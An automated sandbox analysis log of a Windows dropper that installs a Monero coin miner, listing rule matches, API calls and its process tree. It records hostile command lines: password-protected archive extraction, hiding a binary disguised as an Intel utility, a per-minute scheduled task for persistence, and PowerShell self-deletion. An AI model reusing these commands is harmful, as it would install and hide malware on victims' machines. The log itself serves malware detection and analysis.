Source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: random.exe_Y.exe	Static PE information: Section: ZLIB complexity 0.9982278184604905
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982278184604905
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: c5bc1413d7.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: c5bc1413d7.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe0.6.dr	Static PE information: Section: ahvfevpi ZLIB complexity 0.99450445861558
Source: 5b3f6dd868.exe.6.dr	Static PE information: Section: ahvfevpi ZLIB complexity 0.99450445861558
Source: random[2].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[2].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: f1e68d5060.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: f1e68d5060.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe2.6.dr	Static PE information: Section: ZLIB complexity 0.9950234951568265
Source: random[1].exe2.6.dr	Static PE information: Section: ocizazuj ZLIB complexity 0.9929395791717885
Source: d7691cd336.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9950234951568265
Source: d7691cd336.exe.6.dr	Static PE information: Section: ocizazuj ZLIB complexity 0.9929395791717885

Source: random.exe_Y.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: d7691cd336.exe, 00000024.00000002.2843437233.0000000000659000.00000040.00000001.01000000.0000000E.sdmp, d7691cd336.exe, 00000024.00000003.2802728804.0000000004858000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: d7691cd336.exe, 00000024.00000002.2843437233.0000000000659000.00000040.00000001.01000000.0000000E.sdmp, d7691cd336.exe, 00000024.00000003.2802728804.0000000004858000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@81/44@19/8

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

8_2_00409606

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_0079AC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		12_2_0079AC74
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007A1D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,		12_2_007A1D04

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_0040122A GetDiskFreeSpaceExW,SendMessageW,

8_2_0040122A

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_004092C1 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

8_2_004092C1

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

8_2_004020BF

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1920:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3664:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6860:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3788:120:WilError_03

Source: C:\Users\user\Desktop\random.exe_Y.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\random.exe_Y.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\random.exe_Y.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: random.exe_Y.exe	Virustotal: Detection: 54%
Source: random.exe_Y.exe	ReversingLabs: Detection: 50%

Source: random.exe_Y.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\random.exe_Y.exe

File read: C:\Users\user\Desktop\random.exe_Y.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\random.exe_Y.exe "C:\Users\user\Desktop\random.exe_Y.exe"
Source: C:\Users\user\Desktop\random.exe_Y.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe "C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe"
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe "C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe"
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6316 -s 656
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe "C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe"
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Process created: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe "C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe "C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\random.exe_Y.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe "C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe "C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe "C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe "C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Process created: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe "C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe"
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
